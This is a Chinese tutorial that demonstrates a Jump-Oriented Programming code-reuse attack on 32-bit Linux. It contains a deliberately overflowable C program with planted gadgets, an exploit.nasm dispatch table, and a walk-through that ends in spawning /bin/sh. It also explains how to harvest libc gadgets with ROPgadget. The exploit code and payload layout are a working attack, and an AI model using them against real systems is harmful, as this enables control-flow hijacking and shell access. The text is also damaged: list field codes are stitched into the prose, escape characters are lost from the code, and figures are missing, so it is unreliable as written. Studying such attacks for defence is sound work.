JOP代码复用攻击

最近，我在研究代码重用攻击与防御，在此过程中发现对于rop（return-Oriented Programming）的介绍有许多，但jop(Jump-Oriented Programming)却少有提及。即使有，多数也与rop混杂在一起。因此，我决定基于论文Jump-Oriented Programming: A New Class of Code-Reuse Attack完成一次演示。

 

一．什么是jop?

jop，全称Jump-Oriented Programming，中文译为面向跳转编程，是代码重用攻击方式的一种。在2011年，北卡罗来纳州立大学的Tyler Bletsch等人首次提出这一概念。其实际上是在代码空间中寻找被称为gadget的一连串目标指令，且其以jmp结尾。下图展示了jop原理。

 

Dispatcher是形如下列形式的代码块

pcßf(pc); jmp pc;

pc可以是任意地址或寄存器，用其作为跳转目标。f(pc)表示对pc进行的操作，以下是一个例子。

inc eax; jmp eax;

比如说首次跳转到了dispatch table的第一项，将会在执行一些指令后通过结尾处的jmp跳转回Dispatcher处，此时执行inc eax，eax值已改变，再次跳转就可以调到其他地方执行相应指令。而这些gadget的图灵完备性已被证明，也就是说，我们能通过这些gadget达到几乎所有目的。那么，让我们开始吧！

 

二．通过jop执行/bin/sh（简单版）

系统环境

主机OS      :     4.4.0-116-generic内核Ubuntu 16.04  i686  CPU           :      Intel(R) Core(TM) i5-3337U CPU @ 1.80GHz

首先，我们来完成一个最简版本的jop攻击。

漏洞代码vul.c

#include <stdlib.h>  
#include <stdio.h>  
#include <string.h>  
#include <fcntl.h>  
#include <sys/stat.h>  
#include <sys/mman.h>  
#include <unistd.h>  
  
char* executable="/bin//sh";  
char* null="";  
FILE * fd;  
  
void attack_payload () {  
asm(".intel_syntax noprefix");  
//dispatcher  
asm("add ebp,edi; jmp [ebp-0x39];");  
  
//initializer  
asm("popa; jmp [ebx-0x3e];");  
  
//g00  
asm("popa; cmc; jmp [edx];");  
//g01  
asm("inc eax; cmc; jmp [edx];");  
//g02  
asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");  
//g03  
asm("inc ebx; stc; jmp [edx];");  
//g07  
asm("popa; call dword ptr [ecx];");  
//g08  
asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");  
//g09  
asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");  
//g0a  
asm("int 0x80");  
  
asm(".att_syntax noprefix");  
}  
  
void overflow() {  
  char buf[256];  
  fscanf(fd,"%[^n]",buf);  
  return;  
}  
  
int main(int argc, char** argv) {  
  char* filename = "exploit";  
  if(argc>1) filename = argv[1];  
  fd=fopen(filename, "r");  
  overflow();  
}  

在此版本的演示中，所有gadget均由内联汇编直接写入，无需在代码空间中寻找。

攻击最终要执行execve(“/bin/sh”，argv，envp)，函数原型为

int execve(const char *filename,char * const argv[],char * const envp[]);

若要通过int  80执行它，需要有四个寄存器的参与：eax寄存器传递系统调用号0xb，ebx寄存器传递“/bin/sh”字符串的地址，ecx寄存器传递参数argv，edx寄存器传递环境变量envp。为此需要合理设置eax、ebx、ecx、edx等4个寄存器的值。具体步骤如下 

= 1 * GB3 ①popa ; jmp  *-0x3e(%ebx) 缓冲区溢出会在相应位置设置好数据，popa将会将栈顶所有数据弹出到相应寄存器， 栈帧指向buff字符串，然后跳转至攻击起始处，即第二步。    = 2 * GB3 ②add  %edi,%ebp; jmp  *-0x39(%ebp) 这时攻击开始，此处ebp寄存器即对应图4.2.5中的PC，edi寄存器已在上一步被设置为偏移量-4，跳转到相应步骤，第一次将会跳到第三步。   = 3 * GB3 ③popa ; …… ; jmp *(%edx) 由于execve()的调用号为0x0000000b，包含’’，无法直接通过缓冲区溢出写入eax寄存器，所以将会分阶段写入。这一步中，将会用popa设置相应寄存器，为写入做准备，准备好一个中间变量，置为0xEEEEEE0b。将eax寄存器置为-1，并通过edx寄存器跳转回第二步，第二步再以新的地址执行一次跳转，跳转到第四步。    = 4 * GB3 ④inc %eax ; ……; jmp *(%edx) 这一步将eax寄存器加一，为后面的写入做准备，通过edx寄存器跳转回第二步，第二步再以新的地址执行一次跳转，跳转到第五步。   = 5 * GB3 ⑤mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx) 此时ah=0x00，mov操作将把中间变量中的第5,6位0xEE置为0x00, 通过edx寄存器跳转回第二步，第二步再以新的地址执行一次跳转，跳转到第六步。    = 6 * GB3 ⑥ inc %ebx ; …… ; jmp *(%edx) ebx寄存器加一，为下一步设置中间变量做准备， 通过edx寄存器跳转回第二步，第二步再以新的地址执行一次跳转，跳转到第七步。    = 7 * GB3 ⑦ mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx) ah=0x00，mov操作将把中间变量中的第3,4位0xEE置为0x00, 通过edx寄存器跳转回第二步，第二步再以新的地址执行一次跳转，跳转到第八步。    = 8 * GB3 ⑧ inc %ebx ; …… ; jmp *(%edx) ebx寄存器加一，为下一步设置中间变量做准备， 通过edx寄存器跳转回第二步，第二步再以新的地址执行一次跳转，跳转到第九步。    = 9 * GB3 ⑨mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx) ah=0x00，mov操作将把中间变量中的第1,2位0xEE置为0x00, 中间变量此时为0x0000000b,通过edx寄存器跳转回第二步，第二步再以新的地址执行一次跳转，跳转到第十步。   = 10 * GB3 ⑩popa ;…… ; jmp *(%ecx) 成功设置中间变量后，再次设置相应寄存器，通过ecx寄存器跳转回第二步，执行之后步骤。    ⑪xchg  %eax,%ecx ;……; jmp  *-0xf(%esi) 由于上一步需要ecx寄存器做跳转，故交换eax,ecx, 通过esi寄存器跳转回第二步，执行之后步骤。   ⑫这个步骤无间接跳转，将会把eax寄存器设置为中间变量值0xb，然后传递系统调用号，此时ebx寄存器指向“/bin/sh”，陷入80中断，执行/bin/sh

exploit是由exploit.nasm文件生成的二进制文件，用作缓冲区溢出的输入。

需要注意的只是它的前21行。

将vul.c编译为可执行文件

gcc -g -fno-stack-protector -o vul vul.c

用gdb查看各地址

填入exploit.nasm

start: ; Constants: base:                    equ 0xbfffef40           ; Address where this buffer is loaded under gdb dispatcher:          equ 0x08048449        ; Address of the dispatcher gadget initializer             equ dispatcher+5       ; Address of initializer gadget to_executable:           equ 0x08048590        ; Points to the string “/bin/sh” to_null:         equ 0x08048599        ; Points to a null dword (0x00000000) buffer_length:            equ 0x100           ; Target program’s buffer size.   ; The dispatch table is below (in reverse order) g0a: dd dispatcher+52                    ; int 0x80 g09: dd dispatcher+43                   ; mov eax, [esi+0xc]          ; mov [esp], eax  ; call [esi+0x4] g08: dd dispatcher+37                   ; xchg ecx, eax          ; fdiv st, st(3)      ; jmp [esi-0xf] g07: dd dispatcher+33                   ; popa                         ; cmc                   ; jmp [ecx] g06: dd dispatcher+19                   ; mov [ebx-0x17bc0000], ah   ; stc               ; jmp [edx] g05: dd dispatcher+28                   ; inc ebx               ; fdivr st(1), st     ; jmp [edx] g04: dd dispatcher+19                   ; mov [ebx-0x17bc0000], ah   ; stc               ; jmp [edx] g03: dd dispatcher+28                   ; inc ebx               ; fdivr st(1), st     ; jmp [edx] g02: dd dispatcher+19                   ; mov [ebx-0x17bc0000], ah   ; stc               ; jmp [edx] g01: dd dispatcher+14                  ; inc eax               ; fdivr st(1), st     ; jmp [edx] g00: dd dispatcher+9                     ; popa                         ; fdivr st(1), st     ; jmp [edx]

生成exploit

gdb下运行vul，执行/bin/sh

 

三．进阶

以上例子可以作为jop的一个例子，但实际上不能真实反映其特点。jop 的gadget并不直接存在于当前存在的指令中，而是依赖于对于opcode的另一种解读，如glibc-2.19中，有如下源码：

但使用ROPgadget对其进行gadget提取结果如下：

实际从0x683c7处开始将其解读为

D5 FF            aad 0xff FF                  jmp ecx

因此，我们需要去掉内联汇编，直接在代码空间中寻找gadget。

为此，我们需要使用ROPgadget工具。

sudo pip install ropgadget

我们将在libc中寻找gadget。查看其路径并进行查找。

在gadget.txt中就能查找到各gadget的相对地址。

 为了计算其绝对地址，我们关闭地址随机化。

显然有system_addr – system_libc = xx_addr – xx_libc

反汇编查看可得system_libc

gdb可打印system地址

则可计算各绝对地址，填入exploit.nasm.

再次生成exploit,gdb下运行。 

至此，演示以全部完成。

源码请自行下载https://pan.baidu.com/s/15CssPnl_Rv0VYCru3htF2Q

审核人：yiwang   编辑：边边